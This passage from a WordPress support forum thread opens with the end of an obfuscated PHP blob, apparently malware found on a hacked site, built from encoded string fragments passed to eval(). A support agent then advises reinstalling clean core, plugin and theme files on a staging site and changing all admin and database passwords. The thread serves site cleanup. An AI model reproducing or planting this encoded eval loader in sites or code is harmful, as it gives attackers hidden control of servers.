    'GjYgGjYgGjKfK2bRw2bElj604jYOtnbElDYf3OURK37WUP8EQ4KrrcRfKb8AYTgA'.
    'GjYgGjYgGjKfK2bRw2bElj604jY2wM9RYVl7U28dlDYf3ObB1We7rM7WUwbswW6a1d97L4KrrcYAZARfKb8AYT'.
    'gAGjYgGjYgGjH7ePYB2Mbsw4SgmJeRKt8RQ8KEK29zwW9RYdRxOjSxGObzwNU7wMUg'.
    'GvixGAazwz9RK2b0PjoWmJeRKt8RQ8KEK29zwW9RYdRRrbb2NvY03SYgGjYgGjYgkX9AjjHRQM9'.
    'RlPKfktbz1Vbr3descnHs22Kr4XYgOSYgGjYgGjYgkTgAGjYgGjYgGjYgGjYgm08scqH7ajixGAY03SYgG'.
    'jYgGjYgGjYgGjH7ePYB2MRs1Wbz1LSgmJeRKt8RQ8KsQn8sVX9xUUSxGXYfVz8EK2e7QPSgGObB1We7r'.
    'M7WU08scqH7adRxktbWGOHM4+KfejSxGOescnHs22YgZcYgYOHM4OU03jY03jKBQn8sVX'.
    '9xGcYfQredQ4bAjOescnHs226yG36pYXCE4SYgGjYgGjYgGjYgGj97NM9xGOescnHs22Yy'.
    '4jKfktbz1Vbr3descnHs22Kr4TgAGjYgGjYgGjYgGjYB2zSgGOescnHs22Yp4dKWGXYgmW9R1r9RQ4YgZcYgKy8scqH7aD'.
    'Ygm08scqH7wbb2NvY03SYgGjYgGjYgkcgAGjYgGjYgGjKfK2bRw2bElj604jYOQn8zL2eEmX8sZDYBQ38EQ2RfKb8AYT'.
    'gAGjYgGjYgGjH7ePYgmJeRKt8RQ8Ksr2UBtn9gUUip4dahcpwgbjSlPjYgGjYgGjY'.
    'f3SYgGjYgGjYgGjYgGjH7ePYB2Mbsw4SgmJeRKt8RQ8KsmtUBhdRxOjKAejHRQueRKWeROPKfk'.
    'tbz1Vbr3d9B14exUUSxGXgAGjYgGjYgGjYgGjYf3SYgGjYgGjYgGjYgGjYgGjYB9nbzwtesjPKfktbz'.
    '1Vbr3d9B14exUUYh1pYgmqYy4+YgmsSlPjYgGjYgGjYgGjYgGjYgGjYgGjYgmOeRmtYgZcYfwW8BwvescO9xjO'.
    'HWOvKM4d6dwW8BwvescO9xjOUAOvKWedCJPjYgGjYgGjYgGjYgGjYgGjH7ePYfQredQ4bAjO9B14ex'.
    'Jj6phXip4dKAbjSxGO9B14exGcYfQredQ4bAjO9B14exJJ6g4NSp3SYgGjYgGjYgGjYgGjulPjYgGjYgGjYgGjYgGO9B14ex'.
    'GvixGARfKb82NWRBZACJPjYgGjYgGjYgGjYgGSYgGjYgGjYgGjYgGjKfK2bRw2bElj604jYOQn8dm28dlVUf2'.
    'J9pPjeRkJ8B20eRmX8sZnogrEUEbV9zcW8xrrbzN28zQn9BwORfKb8AYTgAGjYgGjYgGjYg'.
    'GjYgmW9R1r9RQ4YgZcYgKy8sL497L467N28zU4HyPjYALMUfK397ZPKBmtUBhX6AKbb2N'.
    'vY03SYgGjYgGjYgkcgAGjYgGjYgGjKfK2bRw2bElj604jY2NWRBZACJPjYgGj'.
    'YgGjYGPjYgGjYgGjYB2zSgGObB1We7rM7WUV9RmP8sldRxGcixGdahcpwgbjSxGObzwNU7wMUgGvixG'.
    'O9B14ep3SYgGjYgGjYgGSYgGjYgGjYgkG9dUWHRm2YgjO9dG3KfK2'.
    'bRw2bElXCWGnSAkp97LOYfK2bRw2bEljSAFSYgGjYgGjYgGSYgGjYgGjYgGObz'.
    'wMYy4jYAYTYgmP971O9RKMYy4jYAYTYgmPRsm2UBw0UBwOYy4j9z13bsaTgAGjYgGjYgGjUstX8BaPYg1G9zwn'.
    '9AjO9dGXYgOSYgGjYgGjYgkTgAGjYgGjYgGjYgGjYgmW9R5j604jlB9W971OS'.
    'gmzbgJj5pGWQgOTYgFIYQBf460mjVgJ46RlngylvVg+46EmjVg'.
    'r46EmjAGI6JPjYgGjgAGjYgGjYgGjYgGjYgFIYQgu4eylnVgW46RmjQgD46Gj46El3QgT'.
    '460mtcgZ4eFj46ul3QgM46nlnVgW46qlnVgWYQgWYQgD46TlnUBg46RlnUBg46ajSAFSY'.
    'gGjYgGjYgGjYgGjH7ePYghjKBtu9Bw497Q497ljKAejbEmWbBcMSgmW9R53YgKbb2NvRfKb8'.
    'AYXYp4cmO15a4ajSlPjYgGjYgGjYgGjYgkTgAGjYgGjYgGjYgGjYgGjYgGnSAylVcgJ46ilnVgT46Tl3VgD46jj4'.
    'eilVVgrYQBk4eulvQBg46ylnUB6Yg4j46qlnVBG4eylVUgD4e6lvQBG4eilVUgFYQgD46TlnUBg46RlnUBgYg'.
    'PngAGjYgGjYgGjYgGjYgGjYgGOH1cO9Rm2eEm29gGcYfmWU7aTgAGjYgGjYgGjYg'.
    'GjYgGjYgGSYgGjYgGjYgGjYgGjYgGjYgmP971O9RKMYy4jbEwAbEmWSgmW9R53YyG3YfQ4bdknbWjObzwM6gG'.
    'ARfKb82NWRBZASxOTgAGjYgGjYgGjYgGjYgGjYgGObzwMYy4jbEwAbEmWSgmW9R53YfQ4bdknbWjObzwM6gGARfKb82NWRBZAS'.
    'x34Sp3SYgGjYgGjYgGjYgGjYgGjYGPjYgGjYgGjYgGjYgGjYgGj6WPjxBwt9Bw'.
    'WbWk48WkkbdKtoxGI6JPjYgGjYgGjYgGjYgGjYgGjH7ePYgmJeRKt8RQ8KEK2UfwW8AUUip4dHBwt9BwWbWbjufJjKfktbz1Vb'.
    'r3dbzw4URKvKr4cixUtbdKtoxbSYgGjYgGjYgGjYgGjYgGjYgGjYgkFugGPHRQM9RlPKfkt'.
    'bz1Vbr3dbzwOHRK2eEldRxOjKAejKfktbz1Vbr3dbzwOHRK2eE'.
    'ldRp4cUfKr9xOjSlPjYgGjYgGjYgGjYgGjYgGjoJPjYgGjYgGjYgGjYgGjYgGjYgGjYgmPYy4j9RtJ8BcO9xjARfKb8AY3Yg'.
    'mP971O9RKMSp3SYgGjYgGjYgGjYgGjYgGjYgGjYgGOHBwt9BwWbWGcYB1Wbz1LSgOTgAGjYgGjYgGjYg'.
    'GjYgGjYgGjYgGj9zcW9710HgjjKBjjeR5jKB3ciAmsYgOSYgGjYgGjY'.
    'gGjYgGjYgGjYgGjYgkTgAGjYgGjYgGjYgGjYgGjYgGjYgGjYgGjYB2zSgk'.
    'MUfKJ8E5PKfe3YgbDKWOjSlPjYgGjYgGjYgGjYgGjYgGjYgGjYgGjYgkTgAGjYgGjYgGjYgGjYgGjYgGjYgGjYgGjYgGj'.
    'YgGOHWGcYfQredQ4bAjOUAJj5gJjbEmWbBcMSgms6gGdCAbXSp3SYgGjYgGjYgGjYgGjYgGjYgGjYgGjYgGjY'.
    'gGjYgmsYy4jUfKX8xtMU7KMUfYPKfe3YfQ4bdknbWjOUAJjKMPdSx3NSxOTgAGjYgGjYgGjYgGjYgGjYgGjYgGjYgG'.
    'jYf4SYgGjYgGjYgGjYgGjYgGjYgGjYgGjYgGjKBt2e7m2bdQ8bEmWUBcrbfk2bAjOHW2UYy4jKfeTgAGjYgGjYgGjYgG'.
    'jYgGjYgGjYgGjulPjYgGjYgGjYgGjYgGjYgGjulPjYgGjYgGjYgGjYgGjYgGjH7ePYB2Mb'.
    'sw4SgmJeRKt8RQ8KEK29B2W97Q4Kr4XYgezYgmJeRKt8RQ8KEK29B2W97Q4Kr4ciRmWU7ajKAejH'.
    'RQM9RlPKBt2e7m2bdQ8K4Nil41axacCKr4XYgOSYgGjYgGjYgGjYgGjYgGjYf3SYgGjYgGjYgGjYgG'.
    'jYgGjYgGjYgGObB1We7rM7WUrbzJdRxGcYgmP971O9RKM7WU5p4Qkwh2ipAUUCJ'.
    'PjYgGjYgGjYgGjYgGjYgGjYgGjYB2zSgGtHRQM9RlPKfktbz1Vbr3dbzwOHRK2eEl'.
    'Vescr8dldRxOjSxGObB1We7rM7WUW97mXbzw0Ugr08EwvUgUUYy4j5y3SYgGjYgG'.
    'jYgGjYgGjYgGjYgGjYgkX9AjjKfktbz1Vbr3dbzwOHRK2eElVescr8dldRpJN5gGXgAGjYgGjYgGjYgGjYgGj'.
    'YgGjYgGjoJPjYgGjYgGjYgGjYgGjYgGjYgGjYgGjYgGObB1We7rM7WUW97mXbzw0Ugr08EwvUgUUS'.
    'W3TgAGjYgGjYgGjYgGjYgGjYgGjYgGjYgGjYgmzU7L0Yy4jRrcBwaLywh2ip2cuCJPjYgGjYgGjYgGjYgGjYgGjYgGjYgGj'.
    'YgkW9RmrbzZjlB2MRscAHzw0UgjOUBtXbWOjiWGOUBtXbW4+KB9r8'.
    'z5PKfktbz1VbWOjCAGO9dwveWjObB1We7rMSp3SYgGjYgGjYgGjYgGjYgGjYgGjYgk'.
    'cgAGjYgGjYgGjYgGjYgGjYgkcgAGjYgGjYgGjYgGjYgGjYgkX9AjjKfktbz1Vbr3dbzw4URKvKr4cixUP971O9RKMKWGXYfK2'.
    'UfwW8AGOHBwt9BwWbM3SYgGjYgGjYgGjYgGjulPjYgGjYgGjYf4SYgGjYgGjYgGSYgGjYgGjYgkG9zQ38EQ2SgmzbgOTgA'.
    'GjYgkcgAGjYgk28fQ2YfK2UfwW8AkBlaNpmp3nSAGO9RKWbEmW6Am2bdKv8M3jSAFSYgGjYGPjYgGjH'.
    '7ePYgmJeRKt8RQ8KEK2UfwW8AUUip4deRKWeROdYgOjKfK2bWGcYB1Wbz1LSgUP971O9RKMKM4+KBt2e7'.
    'm2bd53YgU08sL497L4KM4+KfK2bWOTgAGjYgGSYgGjYfK2UfwW'.
    '8AGObzwMCJXc';
    eval(v78ZFAX($vFHLJ89, $vIIJ30Y));?>

    I can understand it is not easy to understand or find in the files. So the best way right now is, download the fresh copy of WordPress, plugins and themes and replace it with existing site (better creating a staging/test site and do all this stuff there, once ready move it back to live).

    After that, make sure you change passwords of all existing admin accounts, database username password and see all of your pages to wipe out any information that does not belongs to your site.

    Take care and have a nice day :slight_smile:

    Best Regards,
    Sajid - WPMU DEV Support

Thank NAME, for their help.

Let NAME know exactly why they deserved these points.

Gift a custom amount of points.